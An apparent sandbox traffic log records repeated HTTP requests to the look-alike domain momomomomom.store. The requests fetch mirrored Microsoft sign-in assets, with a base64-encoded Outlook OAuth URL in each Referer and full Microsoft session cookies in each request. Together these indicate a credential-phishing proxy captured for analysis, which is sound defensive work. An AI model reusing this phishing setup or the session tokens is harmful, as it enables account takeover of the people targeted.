Source: global traffic	HTTP traffic detected: GET /aadcdn.msauth.net/~/shared/1.0/content/images/signin-options_4e48046ce74f4b89d45037c90576bfac.svg HTTP/1.1 Host: momomomomom.store Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://momomomomom.store/?olgv469ez=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmY2xpZW50LXJlcXVlc3QtaWQ9YzA2ZmQ4MDEtMjdjYy0zMmViLTA4ZWItYWIyMjIzZWZhMzVjJnByb3RlY3RlZHRva2VuPXRydWUmY2xhaW1zPSU3YiUyMmlkX3Rva2VuJTIyJTNhJTdiJTIyeG1zX2NjJTIyJTNhJTdiJTIydmFsdWVzJTIyJTNhJTViJTIyQ1AxJTIyJTVkJTdkJTdkJTdkJm5vbmNlPTYzODUwNzAzMzE4NTMxNTAwMC42M2EzOTllNy00NjgxLTRmMDItYWU5Yy1mZGMyNjViYjIyNzUmc3RhdGU9RGN0QkZvQWdDQUJScmRkeFNBUUJQWTZhYmx0Ml9WajgyVTBNSVp6dWNCRTl3WlNyb0NGenJzSlpFUEZXN3R6YU1paGFNNVNOQkgyMUNmdVpwRElHa1VuMDkwcnYxOU1Q&sso_reload=true Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=AxaeKThWurNR; qPdM.sig=CVDwFDjZ4ozcWtzyJC0GeIr7hHc; ClientId=12D705722FB7452FB0AD373906C89A99; OIDC=1; OpenIdConnect.nonce.v3.KY9sv9g9Pshs6ar1NzzU0W8N6RSqzzXDgEFN-DwDdyc=638507033185315000.63a399e7-4681-4f02-ae9c-fdc265bb2275; X-OWA-RedirectHistory=ArLym14BuGiZg8Nu3Ag; esctx-bjOzqAbNZw=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd8IgemtTTC9LW7qmHaWJvJnA1zYQxhG2ND3S2cSGtRL2YYfV8ypAElv4SCgLm9Preyh1c06_YlNh1SprOxWk8jSIvJvOGIcIAVgySCfatiP6q57lOpAggEZCsval4FboUtpJcjr0RDDdCtELrntv4kayAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=0.AQUAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAAA.AQABGgEAAADnfolhJpSnRYB1SVj-Hgd81MtlzOMUqai_lrQ4OehTgaI6WT4Gwez8EegyOeoZfYtQiKO797WMjrfRHJHBqBTARqxI5m3J_dUVT21LfL2OGiqaYBt2a9dxces4osRFpysgAA; esctx=PAQABBwEAAADnfolhJpSnRYB1SVj-Hgd8W-fsv7Am8caeqHVPw8WIyoVIsOiN_QELm3hAg8L7YYdZSCIQsO6_guulyvonybNRYdr25beXe6dMX72VAvo1Cls1uzk4iyr5PLP0R2LyFNqUAVjaTEYWlcVyVhRhEoNGyhTqFi18lkC810TXU5UHG_4-lAK6ENVwRF3PEFyPN4cgAA; esctx-pKbecVQ71y0=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd81VR_tmvu-exYpIwgmgPURr_fkT70K2nXlZqyPemUz2W2VkaV6rlqxLtIikCweQPu4jxdcTPf0uV1Hlg0nVat9wcEP45r9pAG5iF1-t_jYtA1-Wtihi6mm1w3jNdvL3xpNIURgBMsRT5uExKgnddqziAA; fpc=AsSibJWZZjJCjo1UHVxahpWerOTJAQAAANlpzN0OAAAA; brcap=0
Source: global traffic	HTTP traffic detected: GET /aadcdn.msauth.net/~/shared/1.0/content/js/asyncchunk/convergedlogin_pstringcustomizationhelper_76bb127b5869a5c6b8b3.js HTTP/1.1 Host: momomomomom.store Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://momomomomom.store/?olgv469ez=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmY2xpZW50LXJlcXVlc3QtaWQ9YzA2ZmQ4MDEtMjdjYy0zMmViLTA4ZWItYWIyMjIzZWZhMzVjJnByb3RlY3RlZHRva2VuPXRydWUmY2xhaW1zPSU3YiUyMmlkX3Rva2VuJTIyJTNhJTdiJTIyeG1zX2NjJTIyJTNhJTdiJTIydmFsdWVzJTIyJTNhJTViJTIyQ1AxJTIyJTVkJTdkJTdkJTdkJm5vbmNlPTYzODUwNzAzMzE4NTMxNTAwMC42M2EzOTllNy00NjgxLTRmMDItYWU5Yy1mZGMyNjViYjIyNzUmc3RhdGU9RGN0QkZvQWdDQUJScmRkeFNBUUJQWTZhYmx0Ml9WajgyVTBNSVp6dWNCRTl3WlNyb0NGenJzSlpFUEZXN3R6YU1paGFNNVNOQkgyMUNmdVpwRElHa1VuMDkwcnYxOU1Q&sso_reload=true Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=AxaeKThWurNR; qPdM.sig=CVDwFDjZ4ozcWtzyJC0GeIr7hHc; ClientId=12D705722FB7452FB0AD373906C89A99; OIDC=1; OpenIdConnect.nonce.v3.KY9sv9g9Pshs6ar1NzzU0W8N6RSqzzXDgEFN-DwDdyc=638507033185315000.63a399e7-4681-4f02-ae9c-fdc265bb2275; X-OWA-RedirectHistory=ArLym14BuGiZg8Nu3Ag; esctx-bjOzqAbNZw=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd8IgemtTTC9LW7qmHaWJvJnA1zYQxhG2ND3S2cSGtRL2YYfV8ypAElv4SCgLm9Preyh1c06_YlNh1SprOxWk8jSIvJvOGIcIAVgySCfatiP6q57lOpAggEZCsval4FboUtpJcjr0RDDdCtELrntv4kayAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=0.AQUAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAAA.AQABGgEAAADnfolhJpSnRYB1SVj-Hgd81MtlzOMUqai_lrQ4OehTgaI6WT4Gwez8EegyOeoZfYtQiKO797WMjrfRHJHBqBTARqxI5m3J_dUVT21LfL2OGiqaYBt2a9dxces4osRFpysgAA; esctx=PAQABBwEAAADnfolhJpSnRYB1SVj-Hgd8W-fsv7Am8caeqHVPw8WIyoVIsOiN_QELm3hAg8L7YYdZSCIQsO6_guulyvonybNRYdr25beXe6dMX72VAvo1Cls1uzk4iyr5PLP0R2LyFNqUAVjaTEYWlcVyVhRhEoNGyhTqFi18lkC810TXU5UHG_4-lAK6ENVwRF3PEFyPN4cgAA; esctx-pKbecVQ71y0=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd81VR_tmvu-exYpIwgmgPURr_fkT70K2nXlZqyPemUz2W2VkaV6rlqxLtIikCweQPu4jxdcTPf0uV1Hlg0nVat9wcEP45r9pAG5iF1-t_jYtA1-Wtihi6mm1w3jNdvL3xpNIURgBMsRT5uExKgnddqziAA; fpc=AsSibJWZZjJCjo1UHVxahpWerOTJAQAAANlpzN0OAAAA; brcap=0
Source: global traffic	HTTP traffic detected: GET /aadcdn.msauth.net/~/shared/1.0/content/images/signin-options_4e48046ce74f4b89d45037c90576bfac.svg HTTP/1.1 Host: momomomomom.store Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=AxaeKThWurNR; qPdM.sig=CVDwFDjZ4ozcWtzyJC0GeIr7hHc; ClientId=12D705722FB7452FB0AD373906C89A99; OIDC=1; OpenIdConnect.nonce.v3.KY9sv9g9Pshs6ar1NzzU0W8N6RSqzzXDgEFN-DwDdyc=638507033185315000.63a399e7-4681-4f02-ae9c-fdc265bb2275; X-OWA-RedirectHistory=ArLym14BuGiZg8Nu3Ag; esctx-bjOzqAbNZw=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd8IgemtTTC9LW7qmHaWJvJnA1zYQxhG2ND3S2cSGtRL2YYfV8ypAElv4SCgLm9Preyh1c06_YlNh1SprOxWk8jSIvJvOGIcIAVgySCfatiP6q57lOpAggEZCsval4FboUtpJcjr0RDDdCtELrntv4kayAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=0.AQUAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAAA.AQABGgEAAADnfolhJpSnRYB1SVj-Hgd81MtlzOMUqai_lrQ4OehTgaI6WT4Gwez8EegyOeoZfYtQiKO797WMjrfRHJHBqBTARqxI5m3J_dUVT21LfL2OGiqaYBt2a9dxces4osRFpysgAA; esctx=PAQABBwEAAADnfolhJpSnRYB1SVj-Hgd8W-fsv7Am8caeqHVPw8WIyoVIsOiN_QELm3hAg8L7YYdZSCIQsO6_guulyvonybNRYdr25beXe6dMX72VAvo1Cls1uzk4iyr5PLP0R2LyFNqUAVjaTEYWlcVyVhRhEoNGyhTqFi18lkC810TXU5UHG_4-lAK6ENVwRF3PEFyPN4cgAA; esctx-pKbecVQ71y0=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd81VR_tmvu-exYpIwgmgPURr_fkT70K2nXlZqyPemUz2W2VkaV6rlqxLtIikCweQPu4jxdcTPf0uV1Hlg0nVat9wcEP45r9pAG5iF1-t_jYtA1-Wtihi6mm1w3jNdvL3xpNIURgBMsRT5uExKgnddqziAA; fpc=AsSibJWZZjJCjo1UHVxahpWerOTJAQAAANlpzN0OAAAA; brcap=0
Source: global traffic	HTTP traffic detected: GET /aadcdn.msauth.net/~/shared/1.0/content/images/appbackgrounds/49-small_e58aafc980614a9cd7796bea7b5ea8f0.jpg HTTP/1.1 Host: momomomomom.store Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=AxaeKThWurNR; qPdM.sig=CVDwFDjZ4ozcWtzyJC0GeIr7hHc; ClientId=12D705722FB7452FB0AD373906C89A99; OIDC=1; OpenIdConnect.nonce.v3.KY9sv9g9Pshs6ar1NzzU0W8N6RSqzzXDgEFN-DwDdyc=638507033185315000.63a399e7-4681-4f02-ae9c-fdc265bb2275; X-OWA-RedirectHistory=ArLym14BuGiZg8Nu3Ag; esctx-bjOzqAbNZw=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd8IgemtTTC9LW7qmHaWJvJnA1zYQxhG2ND3S2cSGtRL2YYfV8ypAElv4SCgLm9Preyh1c06_YlNh1SprOxWk8jSIvJvOGIcIAVgySCfatiP6q57lOpAggEZCsval4FboUtpJcjr0RDDdCtELrntv4kayAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=0.AQUAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAAA.AQABGgEAAADnfolhJpSnRYB1SVj-Hgd81MtlzOMUqai_lrQ4OehTgaI6WT4Gwez8EegyOeoZfYtQiKO797WMjrfRHJHBqBTARqxI5m3J_dUVT21LfL2OGiqaYBt2a9dxces4osRFpysgAA; esctx=PAQABBwEAAADnfolhJpSnRYB1SVj-Hgd8W-fsv7Am8caeqHVPw8WIyoVIsOiN_QELm3hAg8L7YYdZSCIQsO6_guulyvonybNRYdr25beXe6dMX72VAvo1Cls1uzk4iyr5PLP0R2LyFNqUAVjaTEYWlcVyVhRhEoNGyhTqFi18lkC810TXU5UHG_4-lAK6ENVwRF3PEFyPN4cgAA; esctx-pKbecVQ71y0=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd81VR_tmvu-exYpIwgmgPURr_fkT70K2nXlZqyPemUz2W2VkaV6rlqxLtIikCweQPu4jxdcTPf0uV1Hlg0nVat9wcEP45r9pAG5iF1-t_jYtA1-Wtihi6mm1w3jNdvL3xpNIURgBMsRT5uExKgnddqziAA; fpc=AsSibJWZZjJCjo1UHVxahpWerOTJAQAAANlpzN0OAAAA; brcap=0
Source: global traffic	HTTP traffic detected: GET /aadcdn.msauth.net/~/shared/1.0/content/images/favicon_a_eupayfgghqiai7k9sol6lg2.ico HTTP/1.1 Host: momomomomom.store Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=AxaeKThWurNR; qPdM.sig=CVDwFDjZ4ozcWtzyJC0GeIr7hHc; ClientId=12D705722FB7452FB0AD373906C89A99; OIDC=1; OpenIdConnect.nonce.v3.KY9sv9g9Pshs6ar1NzzU0W8N6RSqzzXDgEFN-DwDdyc=638507033185315000.63a399e7-4681-4f02-ae9c-fdc265bb2275; X-OWA-RedirectHistory=ArLym14BuGiZg8Nu3Ag; esctx-bjOzqAbNZw=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd8IgemtTTC9LW7qmHaWJvJnA1zYQxhG2ND3S2cSGtRL2YYfV8ypAElv4SCgLm9Preyh1c06_YlNh1SprOxWk8jSIvJvOGIcIAVgySCfatiP6q57lOpAggEZCsval4FboUtpJcjr0RDDdCtELrntv4kayAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=0.AQUAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAAA.AQABGgEAAADnfolhJpSnRYB1SVj-Hgd81MtlzOMUqai_lrQ4OehTgaI6WT4Gwez8EegyOeoZfYtQiKO797WMjrfRHJHBqBTARqxI5m3J_dUVT21LfL2OGiqaYBt2a9dxces4osRFpysgAA; esctx=PAQABBwEAAADnfolhJpSnRYB1SVj-Hgd8W-fsv7Am8caeqHVPw8WIyoVIsOiN_QELm3hAg8L7YYdZSCIQsO6_guulyvonybNRYdr25beXe6dMX72VAvo1Cls1uzk4iyr5PLP0R2LyFNqUAVjaTEYWlcVyVhRhEoNGyhTqFi18lkC810TXU5UHG_4-lAK6ENVwRF3PEFyPN4cgAA; esctx-pKbecVQ71y0=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd81VR_tmvu-exYpIwgmgPURr_fkT70K2nXlZqyPemUz2W2VkaV6rlqxLtIikCweQPu4jxdcTPf0uV1Hlg0nVat9wcEP45r9pAG5iF1-t_jYtA1-Wtihi6mm1w3jNdvL3xpNIURgBMsRT5uExKgnddqziAA; fpc=AsSibJWZZjJCjo1UHVxahpWerOTJAQAAANlpzN0OAAAA; brcap=0
Source: global traffic	HTTP traffic detected: GET /aadcdn.msauth.net/~/shared/1.0/content/images/applogos/53_8b36337037cff88c3df203bb73d58e41.png HTTP/1.1 Host: momomomomom.store Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=AxaeKThWurNR; qPdM.sig=CVDwFDjZ4ozcWtzyJC0GeIr7hHc; ClientId=12D705722FB7452FB0AD373906C89A99; OIDC=1; OpenIdConnect.nonce.v3.KY9sv9g9Pshs6ar1NzzU0W8N6RSqzzXDgEFN-DwDdyc=638507033185315000.63a399e7-4681-4f02-ae9c-fdc265bb2275; X-OWA-RedirectHistory=ArLym14BuGiZg8Nu3Ag; esctx-bjOzqAbNZw=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd8IgemtTTC9LW7qmHaWJvJnA1zYQxhG2ND3S2cSGtRL2YYfV8ypAElv4SCgLm9Preyh1c06_YlNh1SprOxWk8jSIvJvOGIcIAVgySCfatiP6q57lOpAggEZCsval4FboUtpJcjr0RDDdCtELrntv4kayAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=0.AQUAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAAA.AQABGgEAAADnfolhJpSnRYB1SVj-Hgd81MtlzOMUqai_lrQ4OehTgaI6WT4Gwez8EegyOeoZfYtQiKO797WMjrfRHJHBqBTARqxI5m3J_dUVT21LfL2OGiqaYBt2a9dxces4osRFpysgAA; esctx=PAQABBwEAAADnfolhJpSnRYB1SVj-Hgd8W-fsv7Am8caeqHVPw8WIyoVIsOiN_QELm3hAg8L7YYdZSCIQsO6_guulyvonybNRYdr25beXe6dMX72VAvo1Cls1uzk4iyr5PLP0R2LyFNqUAVjaTEYWlcVyVhRhEoNGyhTqFi18lkC810TXU5UHG_4-lAK6ENVwRF3PEFyPN4cgAA; esctx-pKbecVQ71y0=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd81VR_tmvu-exYpIwgmgPURr_fkT70K2nXlZqyPemUz2W2VkaV6rlqxLtIikCweQPu4jxdcTPf0uV1Hlg0nVat9wcEP45r9pAG5iF1-t_jYtA1-Wtihi6mm1w3jNdvL3xpNIURgBMsRT5uExKgnddqziAA; fpc=AsSibJWZZjJCjo1UHVxahpWerOTJAQAAANlpzN0OAAAA; brcap=0
Source: global traffic	HTTP traffic detected: GET /aadcdn.msauth.net/~/shared/1.0/content/images/microsoft_logo_ee5c8d9fb6248c938fd0dc19370e90bd.svg HTTP/1.1 Host: momomomomom.store Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=AxaeKThWurNR; qPdM.sig=CVDwFDjZ4ozcWtzyJC0GeIr7hHc; ClientId=12D705722FB7452FB0AD373906C89A99; OIDC=1; OpenIdConnect.nonce.v3.KY9sv9g9Pshs6ar1NzzU0W8N6RSqzzXDgEFN-DwDdyc=638507033185315000.63a399e7-4681-4f02-ae9c-fdc265bb2275; X-OWA-RedirectHistory=ArLym14BuGiZg8Nu3Ag; esctx-bjOzqAbNZw=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd8IgemtTTC9LW7qmHaWJvJnA1zYQxhG2ND3S2cSGtRL2YYfV8ypAElv4SCgLm9Preyh1c06_YlNh1SprOxWk8jSIvJvOGIcIAVgySCfatiP6q57lOpAggEZCsval4FboUtpJcjr0RDDdCtELrntv4kayAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=0.AQUAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAAA.AQABGgEAAADnfolhJpSnRYB1SVj-Hgd81MtlzOMUqai_lrQ4OehTgaI6WT4Gwez8EegyOeoZfYtQiKO797WMjrfRHJHBqBTARqxI5m3J_dUVT21LfL2OGiqaYBt2a9dxces4osRFpysgAA; esctx=PAQABBwEAAADnfolhJpSnRYB1SVj-Hgd8W-fsv7Am8caeqHVPw8WIyoVIsOiN_QELm3hAg8L7YYdZSCIQsO6_guulyvonybNRYdr25beXe6dMX72VAvo1Cls1uzk4iyr5PLP0R2LyFNqUAVjaTEYWlcVyVhRhEoNGyhTqFi18lkC810TXU5UHG_4-lAK6ENVwRF3PEFyPN4cgAA; esctx-pKbecVQ71y0=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd81VR_tmvu-exYpIwgmgPURr_fkT70K2nXlZqyPemUz2W2VkaV6rlqxLtIikCweQPu4jxdcTPf0uV1Hlg0nVat9wcEP45r9pAG5iF1-t_jYtA1-Wtihi6mm1w3jNdvL3xpNIURgBMsRT5uExKgnddqziAA; fpc=AsSibJWZZjJCjo1UHVxahpWerOTJAQAAANlpzN0OAAAA; brcap=0
Source: global traffic	HTTP traffic detected: GET /aadcdn.msauth.net/~/shared/1.0/content/images/appbackgrounds/49_7916a894ebde7d29c2cc29b267f1299f.jpg HTTP/1.1 Host: momomomomom.store Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=AxaeKThWurNR; qPdM.sig=CVDwFDjZ4ozcWtzyJC0GeIr7hHc; ClientId=12D705722FB7452FB0AD373906C89A99; OIDC=1; OpenIdConnect.nonce.v3.KY9sv9g9Pshs6ar1NzzU0W8N6RSqzzXDgEFN-DwDdyc=638507033185315000.63a399e7-4681-4f02-ae9c-fdc265bb2275; X-OWA-RedirectHistory=ArLym14BuGiZg8Nu3Ag; esctx-bjOzqAbNZw=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd8IgemtTTC9LW7qmHaWJvJnA1zYQxhG2ND3S2cSGtRL2YYfV8ypAElv4SCgLm9Preyh1c06_YlNh1SprOxWk8jSIvJvOGIcIAVgySCfatiP6q57lOpAggEZCsval4FboUtpJcjr0RDDdCtELrntv4kayAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=0.AQUAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAAA.AQABGgEAAADnfolhJpSnRYB1SVj-Hgd81MtlzOMUqai_lrQ4OehTgaI6WT4Gwez8EegyOeoZfYtQiKO797WMjrfRHJHBqBTARqxI5m3J_dUVT21LfL2OGiqaYBt2a9dxces4osRFpysgAA; esctx=PAQABBwEAAADnfolhJpSnRYB1SVj-Hgd8W-fsv7Am8caeqHVPw8WIyoVIsOiN_QELm3hAg8L7YYdZSCIQsO6_guulyvonybNRYdr25beXe6dMX72VAvo1Cls1uzk4iyr5PLP0R2LyFNqUAVjaTEYWlcVyVhRhEoNGyhTqFi18lkC810TXU5UHG_4-lAK6ENVwRF3PEFyPN4cgAA; esctx-pKbecVQ71y0=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd81VR_tmvu-exYpIwgmgPURr_fkT70K2nXlZqyPemUz2W2VkaV6rlqxLtIikCweQPu4jxdcTPf0uV1Hlg0nVat9wcEP45r9pAG5iF1-t_jYtA1-Wtihi6mm1w3jNdvL3xpNIURgBMsRT5uExKgnddqziAA; fpc=AsSibJWZZjJCjo1UHVxahpWerOTJAQAAANlpzN0OAAAA; brcap=0
Source: global traffic	HTTP traffic detected: GET /aadcdn.msauth.net/~/shared/1.0/content/js/asyncchunk/convergedlogin_presetpasswordsplitter_2e62c59c862fb482c11d.js HTTP/1.1 Host: momomomomom.store Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://momomomomom.store/?olgv469ez=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmY2xpZW50LXJlcXVlc3QtaWQ9YzA2ZmQ4MDEtMjdjYy0zMmViLTA4ZWItYWIyMjIzZWZhMzVjJnByb3RlY3RlZHRva2VuPXRydWUmY2xhaW1zPSU3YiUyMmlkX3Rva2VuJTIyJTNhJTdiJTIyeG1zX2NjJTIyJTNhJTdiJTIydmFsdWVzJTIyJTNhJTViJTIyQ1AxJTIyJTVkJTdkJTdkJTdkJm5vbmNlPTYzODUwNzAzMzE4NTMxNTAwMC42M2EzOTllNy00NjgxLTRmMDItYWU5Yy1mZGMyNjViYjIyNzUmc3RhdGU9RGN0QkZvQWdDQUJScmRkeFNBUUJQWTZhYmx0Ml9WajgyVTBNSVp6dWNCRTl3WlNyb0NGenJzSlpFUEZXN3R6YU1paGFNNVNOQkgyMUNmdVpwRElHa1VuMDkwcnYxOU1Q&sso_reload=true Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=AxaeKThWurNR; qPdM.sig=CVDwFDjZ4ozcWtzyJC0GeIr7hHc; ClientId=12D705722FB7452FB0AD373906C89A99; OIDC=1; OpenIdConnect.nonce.v3.KY9sv9g9Pshs6ar1NzzU0W8N6RSqzzXDgEFN-DwDdyc=638507033185315000.63a399e7-4681-4f02-ae9c-fdc265bb2275; X-OWA-RedirectHistory=ArLym14BuGiZg8Nu3Ag; esctx-bjOzqAbNZw=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd8IgemtTTC9LW7qmHaWJvJnA1zYQxhG2ND3S2cSGtRL2YYfV8ypAElv4SCgLm9Preyh1c06_YlNh1SprOxWk8jSIvJvOGIcIAVgySCfatiP6q57lOpAggEZCsval4FboUtpJcjr0RDDdCtELrntv4kayAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=0.AQUAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAAA.AQABGgEAAADnfolhJpSnRYB1SVj-Hgd81MtlzOMUqai_lrQ4OehTgaI6WT4Gwez8EegyOeoZfYtQiKO797WMjrfRHJHBqBTARqxI5m3J_dUVT21LfL2OGiqaYBt2a9dxces4osRFpysgAA; esctx=PAQABBwEAAADnfolhJpSnRYB1SVj-Hgd8W-fsv7Am8caeqHVPw8WIyoVIsOiN_QELm3hAg8L7YYdZSCIQsO6_guulyvonybNRYdr25beXe6dMX72VAvo1Cls1uzk4iyr5PLP0R2LyFNqUAVjaTEYWlcVyVhRhEoNGyhTqFi18lkC810TXU5UHG_4-lAK6ENVwRF3PEFyPN4cgAA; esctx-pKbecVQ71y0=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd81VR_tmvu-exYpIwgmgPURr_fkT70K2nXlZqyPemUz2W2VkaV6rlqxLtIikCweQPu4jxdcTPf0uV1Hlg0nVat9wcEP45r9pAG5iF1-t_jYtA1-Wtihi6mm1w3jNdvL3xpNIURgBMsRT5uExKgnddqziAA; fpc=AsSibJWZZjJCjo1UHVxahpWerOTJAQAAANlpzN0OAAAA; brcap=0
